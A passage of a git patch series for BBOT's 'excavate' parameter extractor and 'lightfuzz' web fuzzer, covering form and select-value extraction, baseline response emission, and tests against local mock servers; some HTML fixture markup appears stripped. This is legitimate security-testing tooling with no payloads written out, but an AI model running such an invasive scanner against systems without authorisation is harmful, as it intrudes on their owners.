"sha256:9cae0f92bd5700d1213188b31cd3bdd2b315361296d10b96b8e2337d3d11f53e", size = 11447765, upload-time = "2026-04-24T18:17:09.755Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f9/0ae446942c846b8266059ad8a30702a35afae55f5cdc54c5adf8d7afdc27/ruff-0.15.12-py3-none-win32.whl", hash = "sha256:d0185894e038d7043ba8fd6aee7499ece6462dc0ea9f1e260c7451807c714c20", size = 10657277, upload-time = "2026-04-24T18:17:18.591Z" }, + { url = "https://files.pythonhosted.org/packages/33/f1/9614e03e1cdcbf9437570b5400ced8a720b5db22b28d8e0f1bda429f660d/ruff-0.15.12-py3-none-win_amd64.whl", hash = "sha256:c87a162d61ab3adca47c03f7f717c68672edec7d1b5499e652331780fe74950d", size = 11837758, upload-time = "2026-04-24T18:17:00.113Z" }, + { url = "https://files.pythonhosted.org/packages/c0/98/6beb4b351e472e5f4c4613f7c35a5290b8be2497e183825310c4c3a3984b/ruff-0.15.12-py3-none-win_arm64.whl", hash = "sha256:a538f7a82d061cee7be55542aca1d86d1393d55d81d4fcc314370f4340930d4f", size = 11120821, upload-time = "2026-04-24T18:16:57.979Z" }, ] [[package]] From 9b2592d65300a8b3d4970f10e6bed4f3d414c80a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 12:35:26 -0400 Subject: [PATCH 29/50] excavate: prefer + + + + + +
+ + +
+
+ + +
+
+ + +
+ + + """ + + async def setup_after_prep(self, module_test): + respond_args = {"response_data": self.select_extract_html, "headers": {"Content-Type": "text/html"}} + module_test.set_expect_requests(respond_args=respond_args) + + def check(self, module_test, events): + picked = {} + for e in events: + if e.type != "WEB_PARAMETER": + continue + name = e.data.get("name") + if name in ( + "selected_nonfirst", + "first_empty", + "selected_with_empty_first", + "selected_empty", + ): + picked[name] = e.data.get("original_value") + + assert "selected_nonfirst" in picked, "Did not extract WEB_PARAMETER for selected_nonfirst" + assert picked["selected_nonfirst"] == "admin", ( + f"selected_nonfirst: expected the option with `selected` to win, got {picked['selected_nonfirst']!r}" + ) + + assert "first_empty" in picked, "Did not extract WEB_PARAMETER for first_empty" + assert picked["first_empty"] == "staging", ( + f"first_empty: expected the first non-empty option to be picked when no option is selected, got {picked['first_empty']!r}" + ) + + assert "selected_with_empty_first" in picked, "Did not extract WEB_PARAMETER for selected_with_empty_first" + assert picked["selected_with_empty_first"] == "us-east", ( + f"selected_with_empty_first: expected `selected` to win over the empty first option, got {picked['selected_with_empty_first']!r}" + ) + + assert "selected_empty" in picked, "Did not extract WEB_PARAMETER for selected_empty" + assert picked["selected_empty"] == "fallback", ( + f"selected_empty: expected fallback to the first non-empty option when `selected` is empty, got {picked['selected_empty']!r}" + ) + + class TestExcavateParameterExtraction_postform_noaction(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] From 41901101d38886d6bb31edd6c13884d1447b2071 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 13:23:34 -0400 Subject: [PATCH 30/50] lightfuzz: emit canonical baseline responses as HTTP_RESPONSE events MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ship the response from each parameter's first ('main') compare_baseline call to excavate so pages only rendered after a real submission — confirmation pages, redirect targets, forms behind a submit — get mined for new params and URLs. Per-WEB_PARAMETER HttpCompare cache (keyed on the full prepared request signature) shares one baseline across submodules whose request shape collapses to the same tuple (sqli + cmdi + path on a POSTPARAM with no envelopes were firing three identical baseline pairs). Cache miss creates the HttpCompare and registers a one-shot on_baseline_ready callback that emits the resulting HTTP_RESPONSE; cache hits return the existing instance with no extra network or emission. Cleared per-event at handle_event exit. - HttpCompare.on_baseline_ready: optional async callback invoked once after baseline_1 is established. - compare_baseline()/baseline_probe(): new emit_http_response kwarg (default True). Set False at sqli._confirm_code_change's FP-killer rounds so confirmation baselines don't generate noisy events. - Shared helper bbot/core/helpers/web/response_event.py (DRY: http.py now uses the same response_to_event_dict to build event payloads). - _outgoing_dedup_hash: graceful handling for non-FINDING event types. - New lightfuzz config: emit_baseline_responses (default true). End-to-end test: a POST form whose picker prefers the `selected` option over the empty first one +# 2. lightfuzz emits the canonical baseline response as an HTTP_RESPONSE event, +# which excavate then mines for new URLs +# +# The target page hosts a POST form with a + + + + + + + + + """ + + async def setup_after_prep(self, module_test): + # GET / serves the form + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": self.landing_page, "status": 200}, + ) + + # POST /login only reveals the secret link on a properly-formed submission + # (role == "admin" and csrf == "abc"). Otherwise a vanilla page. + def login_handler(request): + form = request.form + role = form.get("role", "") + csrf = form.get("csrf", "") + if role == "admin" and csrf == "abc": + body = ( + '

Logged in as admin

Admin console' + ) + else: + body = "

Login failed

" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile("/login"), + request_handler=login_handler, + ) + + def check(self, module_test, events): + # The chain succeeded iff a URL_UNVERIFIED for /secret-endpoint exists. + # That single event proves: select picker chose "admin" (otherwise the + # server wouldn't have revealed it), lightfuzz fired a properly-formed + # POST baseline, the response was emitted as HTTP_RESPONSE, and excavate + # mined the new URL out of the body. + secret_url = "http://127.0.0.1:8888/secret-endpoint" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /secret-endpoint not emitted — the lightfuzz baseline → " + "excavate chain failed somewhere (select-picker, baseline POST shape, " + "HTTP_RESPONSE emission, or excavate URL extraction)." + ) + + # The role parameter should have been emitted with original_value="admin" + # (proving the select picker preferred `selected` over the empty first option). + role_param = next( + (e for e in events if e.type == "WEB_PARAMETER" and e.data.get("name") == "role"), + None, + ) + assert role_param is not None, "WEB_PARAMETER for 'role' was not emitted" + assert role_param.data.get("original_value") == "admin", ( + f"select picker chose the wrong option: expected 'admin', got {role_param.data.get('original_value')!r}" + ) From dadc97d23924c3f91a4db5ba636b6dec6ceffd5d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 13:23:47 -0400 Subject: [PATCH 31/50] docs: frame lightfuzz as BBOT's DAST module Establish the connection between lightfuzz and the DAST term in the module's own docs page, the module list table, the module meta description, and the README TOC. --- README.md | 2 +- docs/modules/lightfuzz.md | 2 +- docs/modules/list_of_modules.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index efbdb925e0..e29669b778 100644 --- a/README.md +++ b/README.md @@ -380,7 +380,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [List of Modules](https://www.blacklanternsecurity.com/bbot/Stable/modules/list_of_modules) - [Nuclei](https://www.blacklanternsecurity.com/bbot/Stable/modules/nuclei) - [Custom YARA Rules](https://www.blacklanternsecurity.com/bbot/Stable/modules/custom_yara_rules) - - [Lightfuzz](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) + - [Lightfuzz (DAST)](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) - **Misc** - [Contribution](https://www.blacklanternsecurity.com/bbot/Stable/contribution) - [Release History](https://www.blacklanternsecurity.com/bbot/Stable/release_history) diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index c43a105c7c..9326ad4a13 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -6,7 +6,7 @@ ### What is Lightfuzz? -Lightfuzz is a lightweight web fuzzer built into BBOT. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. +Lightfuzz is BBOT's **DAST (Dynamic Application Security Testing) module** — a lightweight web fuzzer built directly into BBOT's recursive scan pipeline. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. Whenever BBOT's recon stage discovers a fuzzable parameter (`WEB_PARAMETER` event), lightfuzz takes over and runs its DAST checks against that parameter. ### What is Lightfuzz NOT? diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index fad65e1ecd..f0209d85c5 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -33,7 +33,7 @@ | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | | medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | | newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | | ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | From 2bbc0594365142741dcf9ac6bdec230e76da1bec Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 14:43:58 -0400 Subject: [PATCH 32/50] excavate: consolidate same-name params into same_param_values; loosen select picker MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit WEB_PARAMETER dedup collapses multiple / into one event (url_unparse strips the query string for GETPARAMs, so the data_id key matches across the values). The other values were silently discarded — invisible to cross-value detectors like crypto's many-time-pad check. Now: parameter extractor groups yields by (type, name, url) per identifier and emits one WEB_PARAMETER per group. The first observed value becomes original_value; any additional distinct values for the same param go into a new same_param_values list on the event data. Crypto reads this in its keystream-reuse detector (next commit). Also simplifies the 's inner HTML. Preference order: - 1. The option carrying a `selected` attribute, if its value is non-empty. - 2. The first option with a non-empty value. - 3. None, if no option has a non-empty value. + 1. The option carrying a `selected` attribute (its value, blank or not). + 2. The first option's value (blank or not) — filter-style forms often use + an empty default that "matches all", so substituting a specific choice + could narrow results to nothing. + 3. None, if there are no options at all. """ if not options_html: return None selected_value = None - first_nonempty_value = None + selected_found = False + first_value = None + first_set = False for attrs in bbot_regexes.option_tag_regex.findall(options_html): value_match = bbot_regexes.option_value_regex.search(attrs) if value_match: value = next((g for g in value_match.groups() if g is not None), "") else: value = "" - if not value: - continue - if selected_value is None and bbot_regexes.option_selected_regex.search(attrs): + if not first_set: + first_value = value + first_set = True + if not selected_found and bbot_regexes.option_selected_regex.search(attrs): selected_value = value - if first_nonempty_value is None: - first_nonempty_value = value - return selected_value if selected_value is not None else first_nonempty_value + selected_found = True + if selected_found: + return selected_value + return first_value if first_set else None def _exclude_key(original_dict, key_to_exclude): @@ -583,14 +589,20 @@ async def extract(self): # Swap elements if needed input_tags = [(b, a) for a, b in input_tags] if form_content_regex_name == "select_tag_regex": - # Prefer the option marked `selected`, falling back to the first non-empty option + # Prefer the option marked `selected`, falling back to the first + # option (blank or not — filter forms often use a blank default + # that matches all results) input_tags = [ (name, _pick_select_value(options_html)) for name, options_html in input_tags ] for parameter_name, original_value in input_tags: - form_parameters.setdefault( - parameter_name, original_value.strip() if original_value else None - ) + # Preserve empty strings (selects can legitimately have "" + # as their preferred value); only None means "no value seen". + if original_value is None: + normalized = None + else: + normalized = original_value.strip() + form_parameters.setdefault(parameter_name, normalized) for parameter_name, original_value in form_parameters.items(): yield ( @@ -640,15 +652,25 @@ def __init__(self, excavate): ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): + # Two-pass: collect every yielded tuple across all YARA results for an + # identifier (YARA matches each tag separately, so values for the + # same param-name arrive one match at a time), then group by + # (parameter_type, parameter_name, url) and emit one WEB_PARAMETER per + # group. The first observed value becomes original_value; any additional + # distinct values for the same param are attached as same_param_values, + # surviving the WEB_PARAMETER dedup that would otherwise discard them. + # Cross-value detectors (e.g. lightfuzz crypto's keystream-reuse check) + # read same_param_values. for identifier, results in yara_results.items(): + if identifier not in self.parameterExtractorCallbackDict.keys(): + raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") + grouped = {} + submodule_name = None for result in results: - if identifier not in self.parameterExtractorCallbackDict.keys(): - raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") parameterExtractorSubModule = self.parameterExtractorCallbackDict[identifier]( self.excavate, result ) - - # Use async for to iterate over the async generator + submodule_name = parameterExtractorSubModule.name async for ( parameter_type, parameter_name, @@ -657,7 +679,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte additional_params, ) in parameterExtractorSubModule.extract(): self.excavate.debug( - f"Found Parameter [{parameter_name}] in [{parameterExtractorSubModule.name}] ParameterExtractor Submodule" + f"Found Parameter [{parameter_name}] in [{submodule_name}] ParameterExtractor Submodule" ) # account for the case where the action is html encoded @@ -686,26 +708,43 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte self.excavate.debug(f"Invalid URL [{url}]: {e}") continue - if self.excavate.helpers.validate_parameter(parameter_name, parameter_type): - if self.excavate.in_bl(parameter_name) is False: - description = f"HTTP Extracted Parameter [{parameter_name}] ({parameterExtractorSubModule.name} Submodule)" - data = { - "host": parsed_url.hostname, - "type": parameter_type, - "name": parameter_name, - "original_value": original_value, - "url": self.excavate.url_unparse(parameter_type, parsed_url), - "additional_params": additional_params, - "assigned_cookies": self.excavate.assigned_cookies, - "description": description, - } - await self.report( - data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER" - ) - else: - self.excavate.debug(f"blocked parameter [{parameter_name}] due to BL match") - else: + if not self.excavate.helpers.validate_parameter(parameter_name, parameter_type): self.excavate.debug(f"blocked parameter [{parameter_name}] due to validation failure") + continue + if self.excavate.in_bl(parameter_name) is not False: + self.excavate.debug(f"blocked parameter [{parameter_name}] due to BL match") + continue + + emit_url = self.excavate.url_unparse(parameter_type, parsed_url) + group_key = (parameter_type, parameter_name, emit_url) + if group_key not in grouped: + grouped[group_key] = { + "parsed_url": parsed_url, + "values": [], + "additional_params": additional_params, + } + group_values = grouped[group_key]["values"] + if original_value not in group_values: + group_values.append(original_value) + + for (parameter_type, parameter_name, emit_url), group in grouped.items(): + values = group["values"] + primary_value = values[0] + same_param_values = values[1:] + description = f"HTTP Extracted Parameter [{parameter_name}] ({submodule_name} Submodule)" + data = { + "host": group["parsed_url"].hostname, + "type": parameter_type, + "name": parameter_name, + "original_value": primary_value, + "url": emit_url, + "additional_params": group["additional_params"], + "assigned_cookies": self.excavate.assigned_cookies, + "description": description, + } + if same_param_values: + data["same_param_values"] = same_param_values + await self.report(data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER") class CSPExtractor(ExcavateRule): description = "Extracts domains from CSP headers." diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 2e797e91f9..0dbd21c433 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -662,9 +662,12 @@ class TestExcavateSelectTagSelection(ModuleTestBase): """Verify + + + + """ + + async def setup_after_prep(self, module_test): + state = self._token_state + + def combined_handler(request): + # GET / → serve the form, cycle the TESTSESSION cookie to a fresh token. + # POST /cookie-login → reveal the secret only if the request carries the + # most-recently-issued TESTSESSION (the post-refresh token). + if request.method == "GET": + state["counter"] += 1 + state["current"] = f"token-{state['counter']}" + resp = Response(self.landing_page, status=200, content_type="text/html") + resp.set_cookie("TESTSESSION", state["current"], path="/") + return resp + else: # POST + cookie = request.cookies.get("TESTSESSION", "") + if cookie and cookie == state["current"]: + body = 'Authorized' + else: + body = "

Session expired

" + return Response(body, status=200, content_type="text/html") + + # Single regex covers both GET / and POST /cookie-login; dispatcher inside + # the handler routes by method. + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=combined_handler, + ) + + def check(self, module_test, events): + # /secret-endpoint only appears in the body the server returns when the + # POST carries the current (post-refresh) token. If the stale spider-era + # cookie had been used, the server would have returned "Session expired" + # and excavate would have nothing to extract. + secret_url = "http://127.0.0.1:8888/secret-endpoint" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /secret-endpoint not emitted — cookie refresh failed; " + "lightfuzz POST likely used the spider's stale TESTSESSION token." + ) From ef11c29286763ebff752a30ba47ad86c9e9df749 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 14:59:10 -0400 Subject: [PATCH 34/50] lightfuzz: declare HTTP_RESPONSE in produced_events Lightfuzz emits HTTP_RESPONSE events for canonical baseline responses but the class attribute still only listed FINDING, breaking BBOT's dependency resolution: in a real scan, excavate wouldn't auto-enable from lightfuzz because BBOT didn't see lightfuzz as an HTTP_RESPONSE producer. Tests passed only because they explicitly enable both modules via modules_overrides. --- bbot/modules/lightfuzz/lightfuzz.py | 2 +- docs/modules/list_of_modules.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 032b50aff8..96fa009c63 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -10,7 +10,7 @@ class lightfuzz(BaseModule): watched_events = ["URL", "WEB_PARAMETER"] - produced_events = ["FINDING"] + produced_events = ["FINDING", "HTTP_RESPONSE"] flags = ["active", "loud", "web-heavy", "invasive"] options = { diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index f0209d85c5..db02b9ae9c 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -33,7 +33,7 @@ | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING, HTTP_RESPONSE | @liquidsec | 2024-06-28 | | medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | | newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | | ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | From 6061f4c9a5932df30dd2e102874c41720c7177a4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 15:14:24 -0400 Subject: [PATCH 35/50] lightfuzz: baseline_probe submits the form properly MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit baseline_probe was firing a bare request with no body — for POST baselines the server received an empty body and rendered a default/error view, not the actual form submission. The resulting HTTP_RESPONSE was useless for excavate to re-mine, defeating the recon→DAST loop on real targets. Now uses prepare_request() (the same builder compare_baseline uses) so the baseline request carries the parameter's original_value plus every sibling field from additional_params. GET baselines get them in the querystring; POST/BODYJSON in the body; HEADER/COOKIE on the wire. Regression test: Test_Lightfuzz_baseline_probe_form_submission stands up a server that only reveals /crypto-baseline-secret when the POST body includes the form's token field. Verified the test catches the prior bug (reverted the fix in-stash, the assertion fails on the missing URL_UNVERIFIED for /crypto-baseline-secret). Also fixes Test_Lightfuzz_crypto_error fixture: the server returned the crypto error for any non-empty secret value, including the canonical one. With baseline_probe correctly sending the canonical value, the baseline itself contained the error and error_string_search had nothing to diff against. The fixture now mirrors a real crypto-vulnerable backend (canonical value decrypts cleanly; any other value errors). --- bbot/modules/lightfuzz/submodules/base.py | 28 ++++--- .../module_tests/test_module_lightfuzz.py | 83 ++++++++++++++++++- 2 files changed, 95 insertions(+), 16 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 73867865fc..5d572e1eda 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -218,26 +218,28 @@ async def _on_ready(baseline_response): async def baseline_probe(self, cookies, emit_http_response=True): """ - Executes a baseline probe to establish a baseline for comparison. + Executes a baseline probe by submitting the form the way a browser + would: POSTs carry the parameter's original_value plus every sibling + field from ``additional_params``; GETs carry them in the querystring; + headers/cookies inject them on the wire. Uses ``prepare_request()`` so + the request shape matches what ``compare_baseline`` would build. When ``emit_http_response`` is true and the lightfuzz config allows it, the response is also emitted as an HTTP_RESPONSE event so excavate can re-mine the canonical page rendering for new params/URLs. """ - if self.event.data.get("type") in ["POSTPARAM", "BODYJSON"]: - method = "POST" - else: - method = "GET" - - response = await self.lightfuzz.helpers.request( - method=method, - cookies=cookies, - url=self.event.url, - allow_redirects=False, - retries=1, - timeout=10, + probe_value = self.incoming_probe_value(populate_empty=False) + additional_params = copy.deepcopy(self.event.data.get("additional_params", {})) + request_params = self.prepare_request( + self.event.data.get("type", "GETPARAM"), + probe_value, + cookies, + additional_params, ) + request_params.update({"allow_redirects": False, "retries": 1, "timeout": 10}) + response = await self.lightfuzz.helpers.request(**request_params) if emit_http_response and response is not None: + method = request_params.get("method", "GET") await self.lightfuzz.emit_baseline_response(response, self.event, method=method) return response diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 725101fe93..b035c1b7c8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2474,13 +2474,15 @@ class Test_Lightfuzz_crypto_error(ModuleTestBase): }, } + canonical_value = "08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67" + def request_handler(self, request): qs = str(request.query_string.decode()) - parameter_block = """ + parameter_block = f"""
- +
@@ -2492,7 +2494,11 @@ def request_handler(self, request): """ if "secret=" in qs: - value = qs.split("=")[1] + value = qs.split("=", 1)[1].split("&")[0] + # Canonical ciphertext decrypts cleanly → normal page; any other value + # (truncation, mutation, garbage) → padding error. + if value == self.canonical_value: + return Response(parameter_block, status=200) if value: return Response(crypto_block, status=200) @@ -4317,3 +4323,74 @@ def check(self, module_test, events): "URL_UNVERIFIED for /secret-endpoint not emitted — cookie refresh failed; " "lightfuzz POST likely used the spider's stale TESTSESSION token." ) + + +# End-to-end test for the crypto submodule's baseline_probe path. +# +# Routes through baseline_probe (crypto's "what does the canonical page render +# look like" reference fetch), which is a separate code path from the +# compare_baseline flow exercised by sqli / cmdi / path. Server only reveals +# /crypto-baseline-secret when the POST carries the real form body (name + +# value of the parameter being fuzzed); a bare POST with no body returns a +# generic page. If baseline_probe submits the form properly, excavate mines +# /crypto-baseline-secret out of the emitted HTTP_RESPONSE and we see the +# URL_UNVERIFIED. If baseline_probe fires a body-less request, the URL is +# never revealed and the assertion fails. +class Test_Lightfuzz_baseline_probe_form_submission(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + # Crypto is the submodule that calls baseline_probe(); other submodules + # go through compare_baseline. + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # High-entropy hex value so crypto's likely_crypto gate accepts it (≥ 4.5 bits). + canonical_value = "08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67" + + @property + def landing_page(self): + return f""" + +
+ + +
+ + """ + + async def setup_after_prep(self, module_test): + canonical = self.canonical_value + + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + # POST: only reveal the secret link when the request body includes + # the form's actual field (`token=`). A bare POST with no + # body returns a generic page, which is what baseline_probe would + # produce if it weren't building the request via prepare_request. + token = request.form.get("token", "") + if token == canonical: + body = 'authenticated' + else: + body = "missing form fields" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/crypto-baseline-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /crypto-baseline-secret not emitted — baseline_probe " + "did not submit the form properly (request body missing the token field)." + ) From b48d1e4693c21c2ae89d5b3d6a611fe17f6e0bb4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 15:59:45 -0400 Subject: [PATCH 36/50] excavate: route form discovery through opening-tag YARA + bounded body slice MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit YARA's regex engine has a hardcoded ceiling (~4 KB) on `.*` quantifiers between anchored points, so the form-discovery rules of shape `
.*
/s` silently failed to match any form whose body exceeded that bound — a single (~210 KB form), asserts all fields are extracted. Verified to fail (no fields emitted) before this fix. - TestExcavateGiantFormExceedsMaxBytes: ~240 KB form with max_form_bytes=32 KB, asserts no hang/OOM and no form fields leak through under the bound. - TestExcavateFormAttributeOrder: covers both `
` and ``. --- bbot/modules/internal/excavate.py | 92 +++++++++++- .../module_tests/test_module_excavate.py | 139 ++++++++++++++++++ 2 files changed, 224 insertions(+), 7 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index eeca526c0e..ef9c6fe7a6 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -372,11 +372,13 @@ class excavateTestRule(ExcavateRule): "yara_max_match_data": 2000, "custom_yara_rules": "", "speculate_params": False, + "max_form_bytes": 262144, } options_desc = { "yara_max_match_data": "Sets the maximum amount of text that can extracted from a YARA regex", "custom_yara_rules": "Include custom Yara rules", "speculate_params": "Enable speculative parameter extraction from JSON and XML content", + "max_form_bytes": "Maximum byte slice of the response body searched for a single body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match.", } scope_distance_modifier = None accept_dupes = False @@ -427,9 +429,36 @@ class ParameterExtractorRule: async def extract(self): pass - def __init__(self, excavate, result): + def __init__(self, excavate, result, response_body=None, match_offset=0): + # response_body + match_offset are used by form discovery rules: + # YARA matches only the opening tag (avoiding its ~4 KB + # `.*` regex cliff), and extract() slices the surrounding body + # to feed the Python re-based extraction regex with a region + # large enough to contain a real-world form. self.excavate = excavate self.result = result + self.response_body = response_body + self.match_offset = match_offset + + def form_body_slice(self): + """Return a bounded slice of the response body anchored at the YARA match + offset. Form-extraction rules call this to scan a region big enough to + contain `
` even on forms with multi-KB `` with a few hundred options is enough). The Python + # `extraction_regex` below runs on a bounded slice of the response body + # anchored at this match offset (see ParameterExtractorRule.form_body_slice). + discovery_regex = r'/]*\bmethod=["\']?get["\']?[^>]*>/s nocase' form_content_regexes = { "input_tag_regex": bbot_regexes.input_tag_regex, "input_tag_regex2": bbot_regexes.input_tag_regex2, @@ -566,7 +601,7 @@ class GetForm(ParameterExtractorRule): output_type = "GETPARAM" async def extract(self): - forms = await self.excavate.helpers.re.findall(self.extraction_regex, str(self.result)) + forms = await self.excavate.helpers.re.findall(self.extraction_regex, self.form_body_slice()) for form_action, form_content in forms: if not form_action or form_action == "#": form_action = None @@ -618,7 +653,7 @@ class GetForm2(GetForm): class PostForm(GetForm): name = "POST Form" - discovery_regex = r'/]*\bmethod=["\']?post["\']?[^>]*>.*<\/form>/s nocase' + discovery_regex = r'/]*\bmethod=["\']?post["\']?[^>]*>/s nocase' extraction_regex = bbot_regexes.post_form_regex output_type = "POSTPARAM" @@ -632,7 +667,7 @@ class PostForm_NoAction(PostForm): # underscore ensure generic forms runs last, so it doesn't cause dedupe to stop full form detection class _GenericForm(GetForm): name = "Generic Form" - discovery_regex = r"/]*>.*<\/form>/s nocase" + discovery_regex = r"/]*>/s nocase" extraction_regex = bbot_regexes.generic_form_regex output_type = "GETPARAM" @@ -651,6 +686,42 @@ def __init__(self, excavate): rf'rule parameter_extraction {{meta: description = "contains Parameter" strings: {regexes_component} condition: any of them}}' ) + async def preprocess(self, r, event, discovery_context): + # Override the base class flattener so each YARA hit retains its offset. + # Form rules need (matched_data, offset) per instance because they + # reconstruct the form body from a bounded slice of the response body + # anchored at the match offset — YARA's regex engine can't span the + # opening tag to `` reliably on forms larger than ~4 KB. + description = "" + tags = [] + emit_match = False + severity = "INFO" + confidence = "UNKNOWN" + if "description" in r.meta.keys(): + description = r.meta["description"] + if "tags" in r.meta.keys(): + tags = self.excavate.helpers.chain_lists(r.meta["tags"]) + if "emit_match" in r.meta.keys(): + emit_match = True + if "severity" in r.meta.keys(): + severity = r.meta["severity"] + if "confidence" in r.meta.keys(): + 